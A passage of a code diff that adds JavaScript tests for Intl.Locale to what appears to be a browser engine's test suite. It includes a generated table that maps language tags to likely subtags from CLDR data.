+ numberingSystem: "latn",
+ },
+ },
+];
+
+for (var {tag, options, canonical, extensions} of testData) {
+ var loc = new Intl.Locale(tag, options);
+ assertEq(loc.toString(), canonical);
+
+ for (var [name, value] of Object.entries(extensions)) {
+ assertEq(loc[name], value);
+ }
+}
+
+var errorTestData = [
+ "en-gb-oed",
+ "i-default",
+ "sgn-ch-de",
+ "zh-min",
+ "zh-min-nan",
+ "zh-hakka-hakka",
+];
+
+for (var tag of errorTestData) {
+ assertThrowsInstanceOf(() => new Intl.Locale(tag), RangeError);
+ assertThrowsInstanceOf(() => new Intl.Locale(tag, {}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js b/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js
new file mode 100644
index 0000000000..ed9f9016d6
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js
@@ -0,0 +1,3465 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+// Extracted from likelySubtags.xml.
+// Derived from CLDR Supplemental Data, version 37.
+// https://unicode.org/Public/cldr/37/core.zip
+var maxLikelySubtags = {
+ "aa": "aa-Latn-ET",
+ "aai": "aai-Latn-ZZ",
+ "aak": "aak-Latn-ZZ",
+ "aau": "aau-Latn-ZZ",
+ "ab": "ab-Cyrl-GE",
+ "abi": "abi-Latn-ZZ",
+ "abq": "abq-Cyrl-ZZ",
+ "abr": "abr-Latn-GH",
+ "abt": "abt-Latn-ZZ",
+ "aby": "aby-Latn-ZZ",
+ "acd": "acd-Latn-ZZ",
+ "ace": "ace-Latn-ID",
+ "ach": "ach-Latn-UG",
+ "ada": "ada-Latn-GH",
+ "ade": "ade-Latn-ZZ",
+ "adj": "adj-Latn-ZZ",
+ "adp": "dz-Tibt-BT",
+ "ady": "ady-Cyrl-RU",
+ "adz": "adz-Latn-ZZ",
+ "ae": "ae-Avst-IR",
+ "aeb": "aeb-Arab-TN",
+ "aey": "aey-Latn-ZZ",
+ "af": "af-Latn-ZA",
+ "agc": "agc-Latn-ZZ",
+ "agd": "agd-Latn-ZZ",
+ "agg": "agg-Latn-ZZ",
+ "agm": "agm-Latn-ZZ",
+ "ago": "ago-Latn-ZZ",
+ "agq": "agq-Latn-CM",
+ "aha": "aha-Latn-ZZ",
+ "ahl": "ahl-Latn-ZZ",
+ "aho": "aho-Ahom-IN",
+ "ajg": "ajg-Latn-ZZ",
+ "ak": "ak-Latn-GH",
+ "akk": "akk-Xsux-IQ",
+ "ala": "ala-Latn-ZZ",
+ "ali": "ali-Latn-ZZ",
+ "aln": "aln-Latn-XK",
+ "alt": "alt-Cyrl-RU",
+ "am": "am-Ethi-ET",
+ "amm": "amm-Latn-ZZ",
+ "amn": "amn-Latn-ZZ",
+ "amo": "amo-Latn-NG",
+ "amp": "amp-Latn-ZZ",
+ "an": "an-Latn-ES",
+ "anc": "anc-Latn-ZZ",
+ "ank": "ank-Latn-ZZ",
+ "ann": "ann-Latn-ZZ",
+ "any": "any-Latn-ZZ",
+ "aoj": "aoj-Latn-ZZ",
+ "aom": "aom-Latn-ZZ",
+ "aoz": "aoz-Latn-ID",
+ "apc": "apc-Arab-ZZ",
+ "apd": "apd-Arab-TG",
+ "ape": "ape-Latn-ZZ",
+ "apr": "apr-Latn-ZZ",
+ "aps": "aps-Latn-ZZ",
+ "apz": "apz-Latn-ZZ",
+ "ar": "ar-Arab-EG",
+ "arc": "arc-Armi-IR",
+ "arc-Nbat": "arc-Nbat-JO",
+ "arc-Palm": "arc-Palm-SY",
+ "arh": "arh-Latn-ZZ",
+ "arn": "arn-Latn-CL",
+ "aro": "aro-Latn-BO",
+ "arq": "arq-Arab-DZ",
+ "ars": "ars-Arab-SA",
+ "ary": "ary-Arab-MA",
+ "arz": "arz-Arab-EG",
+ "as": "as-Beng-IN",
+ "asa": "asa-Latn-TZ",
+ "ase": "ase-Sgnw-US",
+ "asg": "asg-Latn-ZZ",
+ "aso": "aso-Latn-ZZ",
+ "ast": "ast-Latn-ES",
+ "ata": "ata-Latn-ZZ",
+ "atg": "atg-Latn-ZZ",
+ "atj": "atj-Latn-CA",
+ "auy": "auy-Latn-ZZ",
+ "av": "av-Cyrl-RU",
+ "avl": "avl-Arab-ZZ",
+ "avn": "avn-Latn-ZZ",
+ "avt": "avt-Latn-ZZ",
+ "avu": "avu-Latn-ZZ",
+ "awa": "awa-Deva-IN",
+ "awb": "awb-Latn-ZZ",
+ "awo": "awo-Latn-ZZ",
+ "awx": "awx-Latn-ZZ",
+ "ay": "ay-Latn-BO",
+ "ayb": "ayb-Latn-ZZ",
+ "az": "az-Latn-AZ",
+ "az-Arab": "az-Arab-IR",
+ "az-IQ": "az-Arab-IQ",
+ "az-IR": "az-Arab-IR",
+ "az-RU": "az-Cyrl-RU",
+ "ba": "ba-Cyrl-RU",
+ "bal": "bal-Arab-PK",
+ "ban": "ban-Latn-ID",
+ "bap": "bap-Deva-NP",
+ "bar": "bar-Latn-AT",
+ "bas": "bas-Latn-CM",
+ "bav": "bav-Latn-ZZ",
+ "bax": "bax-Bamu-CM",
+ "bba": "bba-Latn-ZZ",
+ "bbb": "bbb-Latn-ZZ",
+ "bbc": "bbc-Latn-ID",
+ "bbd": "bbd-Latn-ZZ",
+ "bbj": "bbj-Latn-CM",
+ "bbp": "bbp-Latn-ZZ",
+ "bbr": "bbr-Latn-ZZ",
+ "bcf": "bcf-Latn-ZZ",
+ "bch": "bch-Latn-ZZ",
+ "bci": "bci-Latn-CI",
+ "bcm": "bcm-Latn-ZZ",
+ "bcn": "bcn-Latn-ZZ",
+ "bco": "bco-Latn-ZZ",
+ "bcq": "bcq-Ethi-ZZ",
+ "bcu": "bcu-Latn-ZZ",
+ "bdd": "bdd-Latn-ZZ",
+ "be": "be-Cyrl-BY",
+ "bef": "bef-Latn-ZZ",
+ "beh": "beh-Latn-ZZ",
+ "bej": "bej-Arab-SD",
+ "bem": "bem-Latn-ZM",
+ "bet": "bet-Latn-ZZ",
+ "bew": "bew-Latn-ID",
+ "bex": "bex-Latn-ZZ",
+ "bez": "bez-Latn-TZ",
+ "bfd": "bfd-Latn-CM",
+ "bfq": "bfq-Taml-IN",
+ "bft": "bft-Arab-PK",
+ "bfy": "bfy-Deva-IN",
+ "bg": "bg-Cyrl-BG",
+ "bgc": "bgc-Deva-IN",
+ "bgn": "bgn-Arab-PK",
+ "bgx": "bgx-Grek-TR",
+ "bhb": "bhb-Deva-IN",
+ "bhg": "bhg-Latn-ZZ",
+ "bhi": "bhi-Deva-IN",
+ "bhl": "bhl-Latn-ZZ",
+ "bho": "bho-Deva-IN",
+ "bhy": "bhy-Latn-ZZ",
+ "bi": "bi-Latn-VU",
+ "bib": "bib-Latn-ZZ",
+ "big": "big-Latn-ZZ",
+ "bik": "bik-Latn-PH",
+ "bim": "bim-Latn-ZZ",
+ "bin": "bin-Latn-NG",
+ "bio": "bio-Latn-ZZ",
+ "biq": "biq-Latn-ZZ",
+ "bjh": "bjh-Latn-ZZ",
+ "bji": "bji-Ethi-ZZ",
+ "bjj": "bjj-Deva-IN",
+ "bjn": "bjn-Latn-ID",
+ "bjo": "bjo-Latn-ZZ",
+ "bjr": "bjr-Latn-ZZ",
+ "bjt": "bjt-Latn-SN",
+ "bjz": "bjz-Latn-ZZ",
+ "bkc": "bkc-Latn-ZZ",
+ "bkm": "bkm-Latn-CM",
+ "bkq": "bkq-Latn-ZZ",
+ "bku": "bku-Latn-PH",
+ "bkv": "bkv-Latn-ZZ",
+ "blt": "blt-Tavt-VN",
+ "bm": "bm-Latn-ML",
+ "bmh": "bmh-Latn-ZZ",
+ "bmk": "bmk-Latn-ZZ",
+ "bmq": "bmq-Latn-ML",
+ "bmu": "bmu-Latn-ZZ",
+ "bn": "bn-Beng-BD",
+ "bng": "bng-Latn-ZZ",
+ "bnm": "bnm-Latn-ZZ",
+ "bnp": "bnp-Latn-ZZ",
+ "bo": "bo-Tibt-CN",
+ "boj": "boj-Latn-ZZ",
+ "bom": "bom-Latn-ZZ",
+ "bon": "bon-Latn-ZZ",
+ "bpy": "bpy-Beng-IN",
+ "bqc": "bqc-Latn-ZZ",
+ "bqi": "bqi-Arab-IR",
+ "bqp": "bqp-Latn-ZZ",
+ "bqv": "bqv-Latn-CI",
+ "br": "br-Latn-FR",
+ "bra": "bra-Deva-IN",
+ "brh": "brh-Arab-PK",
+ "brx": "brx-Deva-IN",
+ "brz": "brz-Latn-ZZ",
+ "bs": "bs-Latn-BA",
+ "bsj": "bsj-Latn-ZZ",
+ "bsq": "bsq-Bass-LR",
+ "bss": "bss-Latn-CM",
+ "bst": "bst-Ethi-ZZ",
+ "bto": "bto-Latn-PH",
+ "btt": "btt-Latn-ZZ",
+ "btv": "btv-Deva-PK",
+ "bua": "bua-Cyrl-RU",
+ "buc": "buc-Latn-YT",
+ "bud": "bud-Latn-ZZ",
+ "bug": "bug-Latn-ID",
+ "buk": "buk-Latn-ZZ",
+ "bum": "bum-Latn-CM",
+ "buo": "buo-Latn-ZZ",
+ "bus": "bus-Latn-ZZ",
+ "buu": "buu-Latn-ZZ",
+ "bvb": "bvb-Latn-GQ",
+ "bwd": "bwd-Latn-ZZ",
+ "bwr": "bwr-Latn-ZZ",
+ "bxh": "bxh-Latn-ZZ",
+ "bye": "bye-Latn-ZZ",
+ "byn": "byn-Ethi-ER",
+ "byr": "byr-Latn-ZZ",
+ "bys": "bys-Latn-ZZ",
+ "byv": "byv-Latn-CM",
+ "byx": "byx-Latn-ZZ",
+ "bza": "bza-Latn-ZZ",
+ "bze": "bze-Latn-ML",
+ "bzf": "bzf-Latn-ZZ",
+ "bzh": "bzh-Latn-ZZ",
+ "bzw": "bzw-Latn-ZZ",
+ "ca": "ca-Latn-ES",
+ "cad": "cad-Latn-US",
+ "can": "can-Latn-ZZ",
+ "cbj": "cbj-Latn-ZZ",
+ "cch": "cch-Latn-NG",
+ "ccp": "ccp-Cakm-BD",
+ "ce": "ce-Cyrl-RU",
+ "ceb": "ceb-Latn-PH",
+ "cfa": "cfa-Latn-ZZ",
+ "cgg": "cgg-Latn-UG",
+ "ch": "ch-Latn-GU",
+ "chk": "chk-Latn-FM",
+ "chm": "chm-Cyrl-RU",
+ "cho": "cho-Latn-US",
+ "chp": "chp-Latn-CA",
+ "chr": "chr-Cher-US",
+ "cic": "cic-Latn-US",
+ "cja": "cja-Arab-KH",
+ "cjm": "cjm-Cham-VN",
+ "cjv": "cjv-Latn-ZZ",
+ "ckb": "ckb-Arab-IQ",
+ "ckl": "ckl-Latn-ZZ",
+ "cko": "cko-Latn-ZZ",
+ "cky": "cky-Latn-ZZ",
+ "cla": "cla-Latn-ZZ",
+ "cme": "cme-Latn-ZZ",
+ "cmg": "cmg-Soyo-MN",
+ "co": "co-Latn-FR",
+ "cop": "cop-Copt-EG",
+ "cps": "cps-Latn-PH",
+ "cr": "cr-Cans-CA",
+ "crh": "crh-Cyrl-UA",
+ "crj": "crj-Cans-CA",
+ "crk": "crk-Cans-CA",
+ "crl": "crl-Cans-CA",
+ "crm": "crm-Cans-CA",
+ "crs": "crs-Latn-SC",
+ "cs": "cs-Latn-CZ",
+ "csb": "csb-Latn-PL",
+ "csw": "csw-Cans-CA",
+ "ctd": "ctd-Pauc-MM",
+ "cu": "cu-Cyrl-RU",
+ "cu-Glag": "cu-Glag-BG",
+ "cv": "cv-Cyrl-RU",
+ "cy": "cy-Latn-GB",
+ "da": "da-Latn-DK",
+ "dad": "dad-Latn-ZZ",
+ "daf": "daf-Latn-ZZ",
+ "dag": "dag-Latn-ZZ",
+ "dah": "dah-Latn-ZZ",
+ "dak": "dak-Latn-US",
+ "dar": "dar-Cyrl-RU",
+ "dav": "dav-Latn-KE",
+ "dbd": "dbd-Latn-ZZ",
+ "dbq": "dbq-Latn-ZZ",
+ "dcc": "dcc-Arab-IN",
+ "ddn": "ddn-Latn-ZZ",
+ "de": "de-Latn-DE",
+ "ded": "ded-Latn-ZZ",
+ "den": "den-Latn-CA",
+ "dga": "dga-Latn-ZZ",
+ "dgh": "dgh-Latn-ZZ",
+ "dgi": "dgi-Latn-ZZ",
+ "dgl": "dgl-Arab-ZZ",
+ "dgr": "dgr-Latn-CA",
+ "dgz": "dgz-Latn-ZZ",
+ "dia": "dia-Latn-ZZ",
+ "dje": "dje-Latn-NE",
+ "dnj": "dnj-Latn-CI",
+ "dob": "dob-Latn-ZZ",
+ "doi": "doi-Arab-IN",
+ "dop": "dop-Latn-ZZ",
+ "dow": "dow-Latn-ZZ",
+ "drh": "mn-Cyrl-MN",
+ "dri": "dri-Latn-ZZ",
+ "drs": "drs-Ethi-ZZ",
+ "dsb": "dsb-Latn-DE",
+ "dtm": "dtm-Latn-ML",
+ "dtp": "dtp-Latn-MY",
+ "dts": "dts-Latn-ZZ",
+ "dty": "dty-Deva-NP",
+ "dua": "dua-Latn-CM",
+ "duc": "duc-Latn-ZZ",
+ "dud": "dud-Latn-ZZ",
+ "dug": "dug-Latn-ZZ",
+ "dv": "dv-Thaa-MV",
+ "dva": "dva-Latn-ZZ",
+ "dww": "dww-Latn-ZZ",
+ "dyo": "dyo-Latn-SN",
+ "dyu": "dyu-Latn-BF",
+ "dz": "dz-Tibt-BT",
+ "dzg": "dzg-Latn-ZZ",
+ "ebu": "ebu-Latn-KE",
+ "ee": "ee-Latn-GH",
+ "efi": "efi-Latn-NG",
+ "egl": "egl-Latn-IT",
+ "egy": "egy-Egyp-EG",
+ "eka": "eka-Latn-ZZ",
+ "eky": "eky-Kali-MM",
+ "el": "el-Grek-GR",
+ "ema": "ema-Latn-ZZ",
+ "emi": "emi-Latn-ZZ",
+ "en": "en-Latn-US",
+ "en-Shaw": "en-Shaw-GB",
+ "enn": "enn-Latn-ZZ",
+ "enq": "enq-Latn-ZZ",
+ "eo": "eo-Latn-001",
+ "eri": "eri-Latn-ZZ",
+ "es": "es-Latn-ES",
+ "esg": "esg-Gonm-IN",
+ "esu": "esu-Latn-US",
+ "et": "et-Latn-EE",
+ "etr": "etr-Latn-ZZ",
+ "ett": "ett-Ital-IT",
+ "etu": "etu-Latn-ZZ",
+ "etx": "etx-Latn-ZZ",
+ "eu": "eu-Latn-ES",
+ "ewo": "ewo-Latn-CM",
+ "ext": "ext-Latn-ES",
+ "fa": "fa-Arab-IR",
+ "faa": "faa-Latn-ZZ",
+ "fab": "fab-Latn-ZZ",
+ "fag": "fag-Latn-ZZ",
+ "fai": "fai-Latn-ZZ",
+ "fan": "fan-Latn-GQ",
+ "ff": "ff-Latn-SN",
+ "ff-Adlm": "ff-Adlm-GN",
+ "ffi": "ffi-Latn-ZZ",
+ "ffm": "ffm-Latn-ML",
+ "fi": "fi-Latn-FI",
+ "fia": "fia-Arab-SD",
+ "fil": "fil-Latn-PH",
+ "fit": "fit-Latn-SE",
+ "fj": "fj-Latn-FJ",
+ "flr": "flr-Latn-ZZ",
+ "fmp": "fmp-Latn-ZZ",
+ "fo": "fo-Latn-FO",
+ "fod": "fod-Latn-ZZ",
+ "fon": "fon-Latn-BJ",
+ "for": "for-Latn-ZZ",
+ "fpe": "fpe-Latn-ZZ",
+ "fqs": "fqs-Latn-ZZ",
+ "fr": "fr-Latn-FR",
+ "frc": "frc-Latn-US",
+ "frp": "frp-Latn-FR",
+ "frr": "frr-Latn-DE",
+ "frs": "frs-Latn-DE",
+ "fub": "fub-Arab-CM",
+ "fud": "fud-Latn-WF",
+ "fue": "fue-Latn-ZZ",
+ "fuf": "fuf-Latn-GN",
+ "fuh": "fuh-Latn-ZZ",
+ "fuq": "fuq-Latn-NE",
+ "fur": "fur-Latn-IT",
+ "fuv": "fuv-Latn-NG",
+ "fuy": "fuy-Latn-ZZ",
+ "fvr": "fvr-Latn-SD",
+ "fy": "fy-Latn-NL",
+ "ga": "ga-Latn-IE",
+ "gaa": "gaa-Latn-GH",
+ "gaf": "gaf-Latn-ZZ",
+ "gag": "gag-Latn-MD",
+ "gah": "gah-Latn-ZZ",
+ "gaj": "gaj-Latn-ZZ",
+ "gam": "gam-Latn-ZZ",
+ "gan": "gan-Hans-CN",
+ "gaw": "gaw-Latn-ZZ",
+ "gay": "gay-Latn-ID",
+ "gba": "gba-Latn-ZZ",
+ "gbf": "gbf-Latn-ZZ",
+ "gbm": "gbm-Deva-IN",
+ "gby": "gby-Latn-ZZ",
+ "gbz": "gbz-Arab-IR",
+ "gcr": "gcr-Latn-GF",
+ "gd": "gd-Latn-GB",
+ "gde": "gde-Latn-ZZ",
+ "gdn": "gdn-Latn-ZZ",
+ "gdr": "gdr-Latn-ZZ",
+ "geb": "geb-Latn-ZZ",
+ "gej": "gej-Latn-ZZ",
+ "gel": "gel-Latn-ZZ",
+ "gez": "gez-Ethi-ET",
+ "gfk": "gfk-Latn-ZZ",
+ "ggn": "gvr-Deva-NP",
+ "ghs": "ghs-Latn-ZZ",
+ "gil": "gil-Latn-KI",
+ "gim": "gim-Latn-ZZ",
+ "gjk": "gjk-Arab-PK",
+ "gjn": "gjn-Latn-ZZ",
+ "gju": "gju-Arab-PK",
+ "gkn": "gkn-Latn-ZZ",
+ "gkp": "gkp-Latn-ZZ",
+ "gl": "gl-Latn-ES",
+ "glk": "glk-Arab-IR",
+ "gmm": "gmm-Latn-ZZ",
+ "gmv": "gmv-Ethi-ZZ",
+ "gn": "gn-Latn-PY",
+ "gnd": "gnd-Latn-ZZ",
+ "gng": "gng-Latn-ZZ",
+ "god": "god-Latn-ZZ",
+ "gof": "gof-Ethi-ZZ",
+ "goi": "goi-Latn-ZZ",
+ "gom": "gom-Deva-IN",
+ "gon": "gon-Telu-IN",
+ "gor": "gor-Latn-ID",
+ "gos": "gos-Latn-NL",
+ "got": "got-Goth-UA",
+ "grb": "grb-Latn-ZZ",
+ "grc": "grc-Cprt-CY",
+ "grc-Linb": "grc-Linb-GR",
+ "grt": "grt-Beng-IN",
+ "grw": "grw-Latn-ZZ",
+ "gsw": "gsw-Latn-CH",
+ "gu": "gu-Gujr-IN",
+ "gub": "gub-Latn-BR",
+ "guc": "guc-Latn-CO",
+ "gud": "gud-Latn-ZZ",
+ "gur": "gur-Latn-GH",
+ "guw": "guw-Latn-ZZ",
+ "gux": "gux-Latn-ZZ",
+ "guz": "guz-Latn-KE",
+ "gv": "gv-Latn-IM",
+ "gvf": "gvf-Latn-ZZ",
+ "gvr": "gvr-Deva-NP",
+ "gvs": "gvs-Latn-ZZ",
+ "gwc": "gwc-Arab-ZZ",
+ "gwi": "gwi-Latn-CA",
+ "gwt": "gwt-Arab-ZZ",
+ "gyi": "gyi-Latn-ZZ",
+ "ha": "ha-Latn-NG",
+ "ha-CM": "ha-Arab-CM",
+ "ha-SD": "ha-Arab-SD",
+ "hag": "hag-Latn-ZZ",
+ "hak": "hak-Hans-CN",
+ "ham": "ham-Latn-ZZ",
+ "haw": "haw-Latn-US",
+ "haz": "haz-Arab-AF",
+ "hbb": "hbb-Latn-ZZ",
+ "hdy": "hdy-Ethi-ZZ",
+ "he": "he-Hebr-IL",
+ "hhy": "hhy-Latn-ZZ",
+ "hi": "hi-Deva-IN",
+ "hi-Latn": "hi-Latn-IN",
+ "hia": "hia-Latn-ZZ",
+ "hif": "hif-Latn-FJ",
+ "hig": "hig-Latn-ZZ",
+ "hih": "hih-Latn-ZZ",
+ "hil": "hil-Latn-PH",
+ "hla": "hla-Latn-ZZ",
+ "hlu": "hlu-Hluw-TR",
+ "hmd": "hmd-Plrd-CN",
+ "hmt": "hmt-Latn-ZZ",
+ "hnd": "hnd-Arab-PK",
+ "hne": "hne-Deva-IN",
+ "hnj": "hnj-Hmng-LA",
+ "hnn": "hnn-Latn-PH",
+ "hno": "hno-Arab-PK",
+ "ho": "ho-Latn-PG",
+ "hoc": "hoc-Deva-IN",
+ "hoj": "hoj-Deva-IN",
+ "hot": "hot-Latn-ZZ",
+ "hr": "hr-Latn-HR",
+ "hsb": "hsb-Latn-DE",
+ "hsn": "hsn-Hans-CN",
+ "ht": "ht-Latn-HT",
+ "hu": "hu-Latn-HU",
+ "hui": "hui-Latn-ZZ",
+ "hy": "hy-Armn-AM",
+ "hz": "hz-Latn-NA",
+ "ia": "ia-Latn-001",
+ "ian": "ian-Latn-ZZ",
+ "iar": "iar-Latn-ZZ",
+ "iba": "iba-Latn-MY",
+ "ibb": "ibb-Latn-NG",
+ "iby": "iby-Latn-ZZ",
+ "ica": "ica-Latn-ZZ",
+ "ich": "ich-Latn-ZZ",
+ "id": "id-Latn-ID",
+ "idd": "idd-Latn-ZZ",
+ "idi": "idi-Latn-ZZ",
+ "idu": "idu-Latn-ZZ",
+ "ife": "ife-Latn-TG",
+ "ig": "ig-Latn-NG",
+ "igb": "igb-Latn-ZZ",
+ "ige": "ige-Latn-ZZ",
+ "ii": "ii-Yiii-CN",
+ "ijj": "ijj-Latn-ZZ",
+ "ik": "ik-Latn-US",
+ "ikk": "ikk-Latn-ZZ",
+ "ikt": "ikt-Latn-CA",
+ "ikw": "ikw-Latn-ZZ",
+ "ikx": "ikx-Latn-ZZ",
+ "ilo": "ilo-Latn-PH",
+ "imo": "imo-Latn-ZZ",
+ "in": "id-Latn-ID",
+ "inh": "inh-Cyrl-RU",
+ "io": "io-Latn-001",
+ "iou": "iou-Latn-ZZ",
+ "iri": "iri-Latn-ZZ",
+ "is": "is-Latn-IS",
+ "it": "it-Latn-IT",
+ "iu": "iu-Cans-CA",
+ "iw": "he-Hebr-IL",
+ "iwm": "iwm-Latn-ZZ",
+ "iws": "iws-Latn-ZZ",
+ "izh": "izh-Latn-RU",
+ "izi": "izi-Latn-ZZ",
+ "ja": "ja-Jpan-JP",
+ "jab": "jab-Latn-ZZ",
+ "jam": "jam-Latn-JM",
+ "jbo": "jbo-Latn-001",
+ "jbu": "jbu-Latn-ZZ",
+ "jen": "jen-Latn-ZZ",
+ "jgk": "jgk-Latn-ZZ",
+ "jgo": "jgo-Latn-CM",
+ "ji": "yi-Hebr-001",
+ "jib": "jib-Latn-ZZ",
+ "jmc": "jmc-Latn-TZ",
+ "jml": "jml-Deva-NP",
+ "jra": "jra-Latn-ZZ",
+ "jut": "jut-Latn-DK",
+ "jv": "jv-Latn-ID",
+ "jw": "jv-Latn-ID",
+ "ka": "ka-Geor-GE",
+ "kaa": "kaa-Cyrl-UZ",
+ "kab": "kab-Latn-DZ",
+ "kac": "kac-Latn-MM",
+ "kad": "kad-Latn-ZZ",
+ "kai": "kai-Latn-ZZ",
+ "kaj": "kaj-Latn-NG",
+ "kam": "kam-Latn-KE",
+ "kao": "kao-Latn-ML",
+ "kbd": "kbd-Cyrl-RU",
+ "kbm": "kbm-Latn-ZZ",
+ "kbp": "kbp-Latn-ZZ",
+ "kbq": "kbq-Latn-ZZ",
+ "kbx": "kbx-Latn-ZZ",
+ "kby": "kby-Arab-NE",
+ "kcg": "kcg-Latn-NG",
+ "kck": "kck-Latn-ZW",
+ "kcl": "kcl-Latn-ZZ",
+ "kct": "kct-Latn-ZZ",
+ "kde": "kde-Latn-TZ",
+ "kdh": "kdh-Arab-TG",
+ "kdl": "kdl-Latn-ZZ",
+ "kdt": "kdt-Thai-TH",
+ "kea": "kea-Latn-CV",
+ "ken": "ken-Latn-CM",
+ "kez": "kez-Latn-ZZ",
+ "kfo": "kfo-Latn-CI",
+ "kfr": "kfr-Deva-IN",
+ "kfy": "kfy-Deva-IN",
+ "kg": "kg-Latn-CD",
+ "kge": "kge-Latn-ID",
+ "kgf": "kgf-Latn-ZZ",
+ "kgp": "kgp-Latn-BR",
+ "kha": "kha-Latn-IN",
+ "khb": "khb-Talu-CN",
+ "khn": "khn-Deva-IN",
+ "khq": "khq-Latn-ML",
+ "khs": "khs-Latn-ZZ",
+ "kht": "kht-Mymr-IN",
+ "khw": "khw-Arab-PK",
+ "khz": "khz-Latn-ZZ",
+ "ki": "ki-Latn-KE",
+ "kij": "kij-Latn-ZZ",
+ "kiu": "kiu-Latn-TR",
+ "kiw": "kiw-Latn-ZZ",
+ "kj": "kj-Latn-NA",
+ "kjd": "kjd-Latn-ZZ",
+ "kjg": "kjg-Laoo-LA",
+ "kjs": "kjs-Latn-ZZ",
+ "kjy": "kjy-Latn-ZZ",
+ "kk": "kk-Cyrl-KZ",
+ "kk-AF": "kk-Arab-AF",
+ "kk-Arab": "kk-Arab-CN",
+ "kk-CN": "kk-Arab-CN",
+ "kk-IR": "kk-Arab-IR",
+ "kk-MN": "kk-Arab-MN",
+ "kkc": "kkc-Latn-ZZ",
+ "kkj": "kkj-Latn-CM",
+ "kl": "kl-Latn-GL",
+ "kln": "kln-Latn-KE",
+ "klq": "klq-Latn-ZZ",
+ "klt": "klt-Latn-ZZ",
+ "klx": "klx-Latn-ZZ",
+ "km": "km-Khmr-KH",
+ "kmb": "kmb-Latn-AO",
+ "kmh": "kmh-Latn-ZZ",
+ "kmo": "kmo-Latn-ZZ",
+ "kms": "kms-Latn-ZZ",
+ "kmu": "kmu-Latn-ZZ",
+ "kmw": "kmw-Latn-ZZ",
+ "kn": "kn-Knda-IN",
+ "knf": "knf-Latn-GW",
+ "knp": "knp-Latn-ZZ",
+ "ko": "ko-Kore-KR",
+ "koi": "koi-Cyrl-RU",
+ "kok": "kok-Deva-IN",
+ "kol": "kol-Latn-ZZ",
+ "kos": "kos-Latn-FM",
+ "koz": "koz-Latn-ZZ",
+ "kpe": "kpe-Latn-LR",
+ "kpf": "kpf-Latn-ZZ",
+ "kpo": "kpo-Latn-ZZ",
+ "kpr": "kpr-Latn-ZZ",
+ "kpx": "kpx-Latn-ZZ",
+ "kqb": "kqb-Latn-ZZ",
+ "kqf": "kqf-Latn-ZZ",
+ "kqs": "kqs-Latn-ZZ",
+ "kqy": "kqy-Ethi-ZZ",
+ "kr": "kr-Latn-ZZ",
+ "krc": "krc-Cyrl-RU",
+ "kri": "kri-Latn-SL",
+ "krj": "krj-Latn-PH",
+ "krl": "krl-Latn-RU",
+ "krs": "krs-Latn-ZZ",
+ "kru": "kru-Deva-IN",
+ "ks": "ks-Arab-IN",
+ "ks-Deva": "ks-Deva-IN",
+ "ksb": "ksb-Latn-TZ",
+ "ksd": "ksd-Latn-ZZ",
+ "ksf": "ksf-Latn-CM",
+ "ksh": "ksh-Latn-DE",
+ "ksj": "ksj-Latn-ZZ",
+ "ksr": "ksr-Latn-ZZ",
+ "ktb": "ktb-Ethi-ZZ",
+ "ktm": "ktm-Latn-ZZ",
+ "kto": "kto-Latn-ZZ",
+ "ktr": "dtp-Latn-MY",
+ "ku": "ku-Latn-TR",
+ "ku-Arab": "ku-Arab-IQ",
+ "ku-LB": "ku-Arab-LB",
+ "ku-Yezi": "ku-Yezi-GE",
+ "kub": "kub-Latn-ZZ",
+ "kud": "kud-Latn-ZZ",
+ "kue": "kue-Latn-ZZ",
+ "kuj": "kuj-Latn-ZZ",
+ "kum": "kum-Cyrl-RU",
+ "kun": "kun-Latn-ZZ",
+ "kup": "kup-Latn-ZZ",
+ "kus": "kus-Latn-ZZ",
+ "kv": "kv-Cyrl-RU",
+ "kvg": "kvg-Latn-ZZ",
+ "kvr": "kvr-Latn-ID",
+ "kvx": "kvx-Arab-PK",
+ "kw": "kw-Latn-GB",
+ "kwj": "kwj-Latn-ZZ",
+ "kwo": "kwo-Latn-ZZ",
+ "kwq": "yam-Latn-ZZ",
+ "kxa": "kxa-Latn-ZZ",
+ "kxc": "kxc-Ethi-ZZ",
+ "kxe": "tvd-Latn-ZZ",
+ "kxm": "kxm-Thai-TH",
+ "kxp": "kxp-Arab-PK",
+ "kxw": "kxw-Latn-ZZ",
+ "kxz": "kxz-Latn-ZZ",
+ "ky": "ky-Cyrl-KG",
+ "ky-Arab": "ky-Arab-CN",
+ "ky-CN": "ky-Arab-CN",
+ "ky-Latn": "ky-Latn-TR",
+ "ky-TR": "ky-Latn-TR",
+ "kye": "kye-Latn-ZZ",
+ "kyx": "kyx-Latn-ZZ",
+ "kzj": "dtp-Latn-MY",
+ "kzr": "kzr-Latn-ZZ",
+ "kzt": "dtp-Latn-MY",
+ "la": "la-Latn-VA",
+ "lab": "lab-Lina-GR",
+ "lad": "lad-Hebr-IL",
+ "lag": "lag-Latn-TZ",
+ "lah": "lah-Arab-PK",
+ "laj": "laj-Latn-UG",
+ "las": "las-Latn-ZZ",
+ "lb": "lb-Latn-LU",
+ "lbe": "lbe-Cyrl-RU",
+ "lbu": "lbu-Latn-ZZ",
+ "lbw": "lbw-Latn-ID",
+ "lcm": "lcm-Latn-ZZ",
+ "lcp": "lcp-Thai-CN",
+ "ldb": "ldb-Latn-ZZ",
+ "led": "led-Latn-ZZ",
+ "lee": "lee-Latn-ZZ",
+ "lem": "lem-Latn-ZZ",
+ "lep": "lep-Lepc-IN",
+ "leq": "leq-Latn-ZZ",
+ "leu": "leu-Latn-ZZ",
+ "lez": "lez-Cyrl-RU",
+ "lg": "lg-Latn-UG",
+ "lgg": "lgg-Latn-ZZ",
+ "li": "li-Latn-NL",
+ "lia": "lia-Latn-ZZ",
+ "lid": "lid-Latn-ZZ",
+ "lif": "lif-Deva-NP",
+ "lif-Limb": "lif-Limb-IN",
+ "lig": "lig-Latn-ZZ",
+ "lih": "lih-Latn-ZZ",
+ "lij": "lij-Latn-IT",
+ "lis": "lis-Lisu-CN",
+ "ljp": "ljp-Latn-ID",
+ "lki": "lki-Arab-IR",
+ "lkt": "lkt-Latn-US",
+ "lle": "lle-Latn-ZZ",
+ "lln": "lln-Latn-ZZ",
+ "lmn": "lmn-Telu-IN",
+ "lmo": "lmo-Latn-IT",
+ "lmp": "lmp-Latn-ZZ",
+ "ln": "ln-Latn-CD",
+ "lns": "lns-Latn-ZZ",
